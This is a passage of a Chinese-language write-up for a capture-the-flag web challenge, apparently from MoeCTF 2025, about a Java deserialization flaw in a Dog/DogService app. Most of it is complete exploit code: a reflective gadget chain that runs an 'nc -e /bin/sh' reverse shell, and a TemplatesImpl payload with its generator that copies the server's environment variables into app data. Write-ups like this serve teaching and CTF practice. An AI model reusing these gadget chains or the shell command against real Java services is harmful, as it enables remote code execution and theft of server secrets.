} catch (Throwable th5) {
if (objectInputStream != null) {
if (th2 != null) {
try {
objectInputStream.close();
} catch (Throwable th6) {
th2.addSuppressed(th6);
}
} else {
objectInputStream.close();
}
}
throw th5;
}
} catch (Throwable th7) {
th2 = th7;
throw th7;
}
} finally {
}
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
漏洞出发点在importDogsBase64函数,支持导入base64编码的字符串,接着解密后会进行反序列化。
可以观察到
default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
}
这个函数会进行反射调用方法。可以用来命令执行。那这个就是出口函数。
接着看到
public int hashCode() {
wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(Integer.valueOf(this.id));
}
这个hashCode会调用wagTail()函数。
hashCode的触发条件是什么?
hashCode() 主要在对象被用作哈希集合的键或元素时自动触发。
所以我们只要把包装好的对象放入hashmap的键即可
所以思路就是,我们构造恶意Dog对象放入hashmap,反序列化时触发hashcode从而调用wagTail函数。
但是问题来了,只能调用一次wagTail函数,但是又因为Runtime类是unserlizable的。所以直接传入Runtime.getRuntime()是不能成功的。需要利用
public Object chainWagTail() {
Object input = null;
for (Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
input = result;
}
return input;
}
这个函数来多次反射调用。这个函数会遍历dogs列表。并在每次遍历调用wagTail函数。
所以我们要构造多个恶意dog对象,将它们放入Map中,便会通过循环来执行命令。
最终思路就是:通过触发hashcode来第一次调用wagTail函数,wagTail函数调用结果为触发DogService中的chainWagTail函数。chainWagTail函数会进行多次调用wagTail函数从而执行命令。
Exp:
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogService;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static void deserialize(String base64Data) throws IOException,ClassNotFoundException {
ByteArrayInputStream bais=new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
public static Dog setDog(Object i,String m,Class[] p,Object[] a) throws NoSuchFieldException,IllegalAccessException{
Dog dog = new Dog(2,"a","a",2);
Field input = Dog.class.getDeclaredField("object");
input.setAccessible(true);
input.set(dog,i);
Field methodName=Dog.class.getDeclaredField("methodName");
methodName.setAccessible(true);
methodName.set(dog,m);
Field paramTypes=Dog.class.getDeclaredField("paramTypes");
paramTypes.setAccessible(true);
paramTypes.set(dog,p);
Field arg =Dog.class.getDeclaredField("args");
arg.setAccessible(true);
arg.set(dog,a);
return dog;
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Map<Object, Object> map = new HashMap<>();
Dog dog1 = setDog(Runtime.class,"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Dog dog2 = setDog(Runtime.class,"invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Dog dog3 = setDog(Runtime.class,"exec", new Class[]{String.class}, new Object[]{"nc 127.0.0.1 4444 -e /bin/sh"});
//反射获取dogService类的dogs字段
DogService dogService = new DogService();
Field dogs = dogService.getClass().getDeclaredField("dogs");
dogs.setAccessible(true);
//反射返回的是 Object 类型,需要强制转换为正确类型 Map<Integer, Dog>
//现在dogsMap就是dogService内部字段dogs的一个引用,可以直接操作它
Map<Integer, Dog> dogsMap = (Map<Integer, Dog>) dogs.get(dogService);
//放入构造好的dog触发链
dogsMap.put(1,dog1);
dogsMap.put(2,dog2);
dogsMap.put(3,dog3);
//构造dog4来触发dogService的chainWagTail方法
Dog dog4 = setDog(dogService,"chainWagTail",new Class[]{},new Object[]{});
//放入HashMap,反序列化时调用key.hashcode(),也就是dog4.hashcode()
map.put(dog4,"a");
//生成序列化字符串
String ser=serialize(map);
System.out.println(ser);
deserialize(ser);
}
}
将得到的base64上传。靶机监听得到:

附加挑战
这题磨几天最终放弃…..靶机不出网,不能弹shell了.
赛后看只能TemplatesImpl链打回显
最终payload:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class Evil extends AbstractTranslet {
static {
try {
Object reqAttrs = Class.forName("org.springframework.web.context.request.RequestContextHolder")
.getMethod("getRequestAttributes").invoke(null);
if (reqAttrs != null) {
Object req = Class.forName("org.springframework.web.context.request.ServletRequestAttributes")
.getMethod("getRequest").invoke(reqAttrs);
Object servletContext = req.getClass().getMethod("getServletContext").invoke(req);
Object wac = Class.forName("org.springframework.web.context.support.WebApplicationContextUtils")
.getMethod("getWebApplicationContext", Class.forName("javax.servlet.ServletContext"))
.invoke(null, servletContext);
if (wac != null) {
Class<?> dogServiceClass = Class.forName("com.example.demo.Dog.DogService");
Object dogService = wac.getClass().getMethod("getBean", Class.class).invoke(wac, dogServiceClass);
java.lang.reflect.Field dogsField = dogServiceClass.getDeclaredField("dogs");
dogsField.setAccessible(true);
@SuppressWarnings("unchecked")
java.util.Map<Integer,Object> dogs = (java.util.Map<Integer,Object>) dogsField.get(dogService);
Class<?> dogClass = Class.forName("com.example.demo.Dog.Dog");
java.lang.reflect.Constructor<?> ctor = dogClass.getDeclaredConstructor(int.class, String.class, String.class, int.class);
ctor.setAccessible(true);
String envStr = java.lang.System.getenv().toString();
Object newDog = ctor.newInstance(Integer.valueOf(9999), envStr, "env", Integer.valueOf(1));
dogs.put(Integer.valueOf(9999), newDog);
}
}
} catch (Throwable t) {
}
}
public Evil() {
}
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator,
com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
}
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document,
com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {
}
}
编译生成Evil.class。然后运行
import com.example.demo.Dog.Dog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class PayloadGenerator {
private static void setField(Object target, String name, Object value) throws Exception {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
}
private static byte[] readClassFromResource(String resourcePath) {
try (InputStream is = PayloadGenerator.class.getResourceAsStream(resourcePath)) {
if (is == null) {
return null;
}
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
int nRead;
byte[] data = new byte[1024];
while ((nRead = is.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, nRead);
}
return buffer.toByteArray();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static void main(String[] args) throws Exception {
// 从classpath资源读取 Evil.class
byte[] classBytes = readClassFromResource("Evil.class");
System.out.println("成功读取 Evil.class,大小: " + classBytes.length + " 字节");
// 将 class 字节直接用于 TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "123");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_class", null);
// 构造目标 Dog 实例
Dog dog = new Dog(1, "a", "a", 1);
// 初始占位字段
setField(dog, "object", "123");
setField(dog, "methodName", "toString");
setField(dog, "paramTypes", new Class[] {});
setField(dog, "args", new Object[] {});
//加入HashSet用来触发HashCode
Map<Object,String> map = new HashMap<>();
map.put(dog,"a");
// 把 templates 注入 dog
setField(dog, "object", templates);
setField(dog, "methodName", "newTransformer");
setField(dog, "paramTypes", new Class[] {});
setField(dog, "args", new Object[] {});
// 序列化 set 并输出 Base64 字符串
try (
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)
) {
oos.writeObject(map);
String b64 = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println("Base64 Payload:");
System.out.println(b64);
}
}
}
参考:
https://github.com/XDSEC/MoeCTF_2025/blob/main/writeups/CopperKoi/Web/WebWP.md
https://www.xiaotian.org.cn/2025/09/20/2025Moectf-Web-23%E7%AB%A0/




